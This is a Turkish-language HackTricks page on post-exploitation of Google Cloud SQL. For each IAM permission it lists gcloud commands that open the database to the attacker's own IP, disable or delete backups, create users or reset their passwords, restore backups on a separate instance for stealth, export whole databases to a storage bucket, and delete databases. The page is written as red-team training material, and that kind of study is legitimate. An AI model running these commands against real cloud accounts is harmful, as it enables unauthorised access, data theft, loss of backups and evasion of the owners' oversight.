GCP - Cloud SQL Post Exploitation

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Cloud SQL

Cloud SQL hakkında daha fazla bilgi için:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Veritabanlarına bağlanmak için sadece veritabanı bağlantı noktasına erişiminiz olması ve kullanıcı adı ve parolayı biliyor olmanız yeterlidir, herhangi bir IAM gereksinimi yoktur. Bu nedenle, veritabanının genel bir IP adresine sahip olduğunu varsayarsak, erişim sağlamak için izin verilen ağları güncelleyebilir ve kendi IP adresinize erişimi izin verebilirsiniz.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Ayrıca, veritabanının yedeklemelerini bozmak için --no-backup kullanmak da mümkündür.

Bu gereksinimler olduğu için cloudsql.instances.connect ve cloudsql.instances.login izinlerinin tam olarak ne olduğunu bilmiyorum. Biliyorsanız bir PR gönderin!

cloudsql.users.list

Veritabanının tüm kullanıcılarının bir listesini alın:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Bu izin, veritabanı içinde yeni bir kullanıcı oluşturmaya izin verir:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Bu izin, veritabanı içindeki kullanıcıyı güncellemeye olanak tanır. Örneğin, şifresini değiştirebilirsiniz:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Yedeklemeler eski hassas bilgiler içerebilir, bu yüzden onları kontrol etmek ilginç olabilir. Bir veritabanında bir yedeklemeyi geri yükle:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Daha gizli bir şekilde yapmak için, mevcut çalışan veritabanlarında değil, yeni bir SQL örneği oluşturmak ve verileri orada kurtarmak önerilir.

cloudsql.backupRuns.delete

Bu izin yedeklemeleri silmeye izin verir:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Bir veritabanını bir Cloud Storage Bucket'a aktararak oradan erişebilirsiniz:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Bir Cloud Storage Bucket'tan bir veritabanını (üzerine yazarak) içe aktarın:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Veritabanını db örneğinden siler:

gcloud sql databases delete <db-name> --instance <instance-id>
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated